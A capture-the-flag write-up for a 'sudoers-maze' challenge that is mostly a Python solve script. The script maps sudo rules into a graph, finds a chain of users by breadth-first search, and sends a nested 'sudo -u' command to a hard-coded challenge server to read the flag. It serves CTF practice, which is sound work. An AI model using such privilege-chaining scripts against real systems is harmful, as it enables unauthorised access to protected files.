Sudoers Maze
The attachment contains a large sudoers file:
# entrance to the maze
user ALL=(u0) NOPASSWD: ALL
u0 ALL=(u499) NOPASSWD: ALL
u1 ALL=(u377, u751) NOPASSWD: ALL
u2 ALL=(u171) NOPASSWD: ALL
u3 ALL=(u504, u878) NOPASSWD: ALL
u4 ALL=(u298, u461, u835) NOPASSWD: ALL
We need to find a path from u0 to u1000 to read the flag. Attack script:
#!/usr/bin/env python3
"""
TSGCTF 2025 - sudoers-maze Exploit
Author: Qwen Code
Description: Exploit for the sudoers-maze challenge that navigates through
a complex sudoers configuration to read the flag as u1000.
"""
import re
import socket
import time
from collections import defaultdict, deque
import sys
def parse_sudoers(sudoers_content):
"""
Parse sudoers content and build adjacency list for the graph.
Args:
sudoers_content: String containing sudoers file content
Returns:
dict: Adjacency list mapping source users to list of target users
"""
adj = defaultdict(list)
for line in sudoers_content.split('\n'):
line = line.strip()
# Match lines like: uX ALL=(uY[, uZ...]) NOPASSWD: ALL
match = re.match(r'^u(\d+)\s+ALL=\(([^)]+)\)\s+NOPASSWD:\s+ALL$', line)
if match:
source = int(match.group(1))
targets = match.group(2)
# Parse comma-separated target users
for target in targets.split(', '):
target_match = re.match(r'^u(\d+)$', target.strip())
if target_match:
adj[source].append(int(target_match.group(1)))
return adj
def find_path(start, target, adj):
"""
Find shortest path from start to target using BFS.
Args:
start: Starting user ID
target: Target user ID
adj: Adjacency list
Returns:
list: Path as list of user IDs, or None if no path exists
"""
if start == target:
return [start]
visited = set()
queue = deque()
queue.append((start, [start]))
while queue:
current, path = queue.popleft()
if current in visited:
continue
visited.add(current)
for neighbor in adj.get(current, []):
if neighbor == target:
return path + [neighbor]
if neighbor not in visited:
queue.append((neighbor, path + [neighbor]))
return None
def generate_exploit_command(path):
"""
Generate the sudo chain command to navigate the path.
Args:
path: List of user IDs from start to target
Returns:
str: Sudo chain command
"""
if len(path) < 2:
return ""
# Build: sudo -u uX sudo -u uY ... cat /home/user/flag.txt
chain = "sudo"
for user in path[1:]:
chain += f" -u u{user} sudo"
# Remove last "sudo" and add cat command
chain = chain[:-4] # Remove " sudo"
chain += "cat /home/user/flag.txt"
return chain
def execute_exploit(host, port, sudoers_content):
"""
Execute the full exploit against the remote service.
Args:
host: Target host
port: Target port
sudoers_content: Content of sudoers file
Returns:
str: Flag if found, None otherwise
"""
print(f"[*] Parsing sudoers file...")
adj = parse_sudoers(sudoers_content)
print(f"[*] Finding path from u0 to u1000...")
path = find_path(0, 1000, adj)
if not path:
print("[-] No path found from u0 to u1000!")
return None
print(f"[+] Found path with {len(path)-1} steps")
print(f"[+] Path: {' -> '.join(f'u{n}' for n in path)}")
cmd = generate_exploit_command(path)
print(f"[+] Generated command ({len(cmd)} chars)")
print(f"[*] Connecting to {host}:{port}...")
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(70)
s.connect((host, port))
# Wait for bash prompt
time.sleep(1)
print(f"[*] Sending exploit command...")
s.send((cmd + "\n").encode())
# Send exit to clean up
time.sleep(0.5)
s.send("exit\n".encode())
print("[*] Receiving response...")
response = b""
start_time = time.time()
while time.time() - start_time < 70:
try:
s.settimeout(5)
chunk = s.recv(4096)
if chunk:
response += chunk
else:
break
except socket.timeout:
if time.time() - start_time > 65:
break
continue
except Exception as e:
print(f"[-] Error receiving: {e}")
break
s.close()
if response:
try:
text = response.decode('utf-8')
except:
text = response.decode('latin-1', errors='ignore')
# Look for flag
if 'TSGCTF{' in text:
import re
flag_match = re.search(r'TSGCTF\{[^}]+\}', text)
if flag_match:
return flag_match.group(0)
return None
except Exception as e:
print(f"[-] Connection error: {e}")
return None
def main():
"""Main function."""
import argparse
parser = argparse.ArgumentParser(description='Exploit for sudoers-maze challenge')
parser.add_argument('--host', default='34.180.66.205', help='Target host')
parser.add_argument('--port', type=int, default=55655, help='Target port')
parser.add_argument('--sudoers', default='sudoers_maze/build/sudoers',
help='Path to sudoers file')
parser.add_argument('--test', action='store_true',
help='Test locally without connecting')
args = parser.parse_args()
# Read sudoers file
try:
with open(args.sudoers, 'r') as f:
sudoers_content = f.read()
except FileNotFoundError:
print(f"[-] Could not find sudoers file: {args.sudoers}")
return
if args.test:
print("[*] Testing locally...")
adj = parse_sudoers(sudoers_content)
path = find_path(0, 1000, adj)
if path:
print(f"[+] Path found: {' -> '.join(f'u{n}' for n in path)}")
print(f"[+] Steps: {len(path)-1}")
cmd = generate_exploit_command(path)
print(f"[+] Command:\n{cmd}")
else:
print("[-] No path found")
else:
print(f"[*] Running exploit against {args.host}:{args.port}")
flag = execute_exploit(args.host, args.port, sudoers_content)
if flag:
print(f"[+] FLAG: {flag}")
else:
print("[-] Failed to get flag")
if __name__ == "__main__":
main()